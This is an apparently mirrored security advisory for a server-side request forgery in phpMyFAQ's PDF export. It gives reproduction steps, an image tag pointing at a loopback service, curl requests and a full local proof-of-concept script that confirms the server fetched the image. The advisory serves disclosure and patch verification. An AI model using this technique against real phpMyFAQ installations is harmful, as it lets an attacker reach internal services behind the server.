GHSA-8WMV-9C4G-P5MG
Security Vulnerability Report: Server-Side Request Forgery in phpMyFAQ PDF Export
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-8WMV-9C4G-P5MG divulgada · CVSS 5 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The PDF export feature in phpMyFAQ appears to fetch external images referenced in FAQ answers from the server side. Under the tested configuration, an image URL pointing to a loopback-only HTTP service was requested by the phpMyFAQ server and its response was embedded in the generated PDF.
This may allow an attacker who can influence FAQ content to make the server send requests to services that are not directly accessible from the attacker's machine.
Details
- Affected Component
Component: PDF export
Tested endpoint: GET /pdf/1/100/en
Suspected issue: Server-side fetching of image URLs during PDF generation
Affected version: [Enter exact tested version]
Environment: Local phpMyFAQ installation, SQLite, PHP 8.4
- Preconditions
The tested configuration included localhost in records.allowedMediaHosts.
The test also required permission to create or modify the FAQ containing the image URL. Therefore, the PDF request was anonymous, but the complete attack chain was not proven to be achievable by an entirely unauthenticated attacker.
- Steps to Reproduce
- Install phpMyFAQ in a local test environment.
- Start a separate HTTP server bound to 127.0.0.1 on port 9321. Serve a harmless test image.
- Configure records.allowedMediaHosts to allow localhost.
- Create a test FAQ containing this image reference:
- <img src="http://localhost:9321/internal-secret.png">
- Start the phpMyFAQ application server on 127.0.0.1:8765.
Request the PDF export without cookies or authorization headers:
- curl -sS -D response_headers.txt -o poc_output.pdf http://127.0.0.1:8765/pdf/1/100/en
- Check the PDF export response status and the access log of the local image server.
- Inspect the PDF and confirm whether the test image was embedded.
- Expected Result
The application should reject requests to destinations that are not permitted by its intended security policy, including loopback or other restricted internal destinations where appropriate.
5. Observed Result
In the supplied test, the export returned HTTP 200. The separate server recorded a GET request for /internal-secret.png, and inspection of the returned PDF identified an embedded 4 × 4 pixel image matching the test image.
This demonstrates server-side image retrieval in the tested environment. It does not, by itself, prove that arbitrary internal data can be extracted.
Proof of concept
Environment
- phpMyFAQ installed locally.
- PHP version: 8.4.
- Python 3 and curl installed.
- A test FAQ with ID `100`, category ID `1`, and language `en`.
- `records.allowedMediaHosts` configured to allow `localhost`.
- The test FAQ contains the following image reference:
```html
<img src="http://localhost:9321/internal-secret.png">
```
Reproduction steps
- Start the phpMyFAQ application on `127.0.0.1:8765`.
- Start a separate local HTTP server on `127.0.0.1:9321`, serving a harmless test image.
- Verify that the test FAQ contains the image reference shown above.
- Request the PDF export without cookies or authentication headers:
```bash
curl -sS -D response_headers.txt \
-o poc_output.pdf \
http://127.0.0.1:8765/pdf/1/100/en
```
- Inspect the response status and confirm that the internal test server recorded a request for `/internal-secret.png`.
- Inspect the generated PDF and confirm whether it contains the test image.
Expected result
The PDF export should enforce the intended destination restrictions before retrieving remote images.
Actual result
In the reported local test, the PDF endpoint returned HTTP 200. The local HTTP server logged a GET request for `/internal-secret.png`, and PDF inspection identified an embedded 4 × 4 pixel image.
This demonstrates server-side retrieval under the tested configuration. Further testing is required to establish whether sensitive internal responses can be exposed and whether the issue affects default configurations.
Security impact
An attacker who can influence FAQ content may be able to induce server-side requests to reachable internal services, depending on the application's configuration and authorization requirements.
### Evidence
Save this as verify_poc.sh:
#!/usr/bin/env bash
set -Eeuo pipefail
# Local-only phpMyFAQ PDF-export SSRF verification.
# Requires: python3, curl, and a locally running phpMyFAQ instance.
# The FAQ must already contain the test image URL.
TARGET="http://127.0.0.1:8765/pdf/1/100/en"
PORT="9321"
WORKDIR="$(mktemp -d)"
SERVER_PID=""
cleanup() {
if [[ -n "$SERVER_PID" ]]; then
kill "$SERVER_PID" 2>/dev/null || true
fi
echo "Evidence directory: $WORKDIR"
}
trap cleanup EXIT
mkdir -p "$WORKDIR/www"
cd "$WORKDIR/www"
# Create a harmless 4x4 PNG test image.
python3 - <<'PY'
import struct
import zlib
def chunk(kind, data):
body = kind + data
return (
struct.pack(">I", len(data))
+ body
+ struct.pack(">I", zlib.crc32(body) & 0xffffffff)
)
width = height = 4
rows = b"".join(
b"\x00" + bytes([255, 0, 0, 255] * width)
for _ in range(height)
)
png = (
b"\x89PNG\r\n\x1a\n"
+ chunk(b"IHDR", struct.pack(">IIBBBBB",
width, height, 8, 6, 0, 0, 0))
+ chunk(b"IDAT", zlib.compress(rows))
+ chunk(b"IEND", b"")
)
with open("internal-secret.png", "wb") as f:
f.write(png)
print("Created harmless 4x4 test image.")
PY
# Start a separate local server and preserve its access log.
python3 -u -m http.server "$PORT" \
--bind 127.0.0.1 \
> "$WORKDIR/internal.log" 2>&1 &
SERVER_PID=$!
# Wait for the local listener to become ready.
for _ in $(seq 1 30); do
if curl --silent --fail \
"http://127.0.0.1:$PORT/internal-secret.png" \
-o /dev/null; then
break
fi
sleep 0.2
done
echo "[1/3] Requesting PDF export without authentication headers..."
HTTP_STATUS="$(
curl --silent --show-error \
--max-time 60 \
-D "$WORKDIR/response_headers.txt" \
-o "$WORKDIR/poc_output.pdf" \
-w '%{http_code}' \
"$TARGET"
)"
echo "PDF endpoint HTTP status: $HTTP_STATUS"
echo "[2/3] Checking internal server access log..."
sleep 1
cat "$WORKDIR/internal.log"
if ! grep -F 'GET /internal-secret.png' "$WORKDIR/internal.log"; then
echo "NOT CONFIRMED: no matching image request was observed."
echo "Check the FAQ content, allowedMediaHosts, and server configuration."
exit 1
fi
if [[ "$HTTP_STATUS" != "200" ]]; then
echo "PDF export did not return HTTP 200."
exit 1
fi
echo "[3/3] Checking that the PDF output is non-empty..."
test -s "$WORKDIR/poc_output.pdf"
file "$WORKDIR/poc_output.pdf"
echo "The local server received the test image request."
echo "Inspect the PDF separately to verify image embedding."
echo "Response headers: $WORKDIR/response_headers.txt"
echo "Internal access log: $WORKDIR/internal.log"
echo "PDF output: $WORKDIR/poc_output.pdf"Run it:
chmod +x verify_poc.sh
./verify_poc.sh
Impact
- If an attacker can control FAQ content and cause the server to retrieve restricted resources, the behavior could potentially expose internal HTTP services or sensitive information through the generated PDF.
- The practical impact depends on the allowed-host configuration, available destinations, authentication and authorization requirements, and whether useful internal responses can be read through the PDF.
<img width="863" height="355" alt="php1" src="https://github.com/user-attachments/assets/973981fc-5952-47a4-ae98-1c4e022ae330" />
<img width="917" height="455" alt="php2" src="https://github.com/user-attachments/assets/001196b6-4f28-4382-a397-f8024668ce24" />
<img width="1920" height="1028" alt="php3" src="https://github.com/user-attachments/assets/dc0eaa59-20d2-4b49-8c33-f6d5d030626f" />
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistphpmyfaq/phpmyfaq |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8wmv-9c4g-p5mgLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
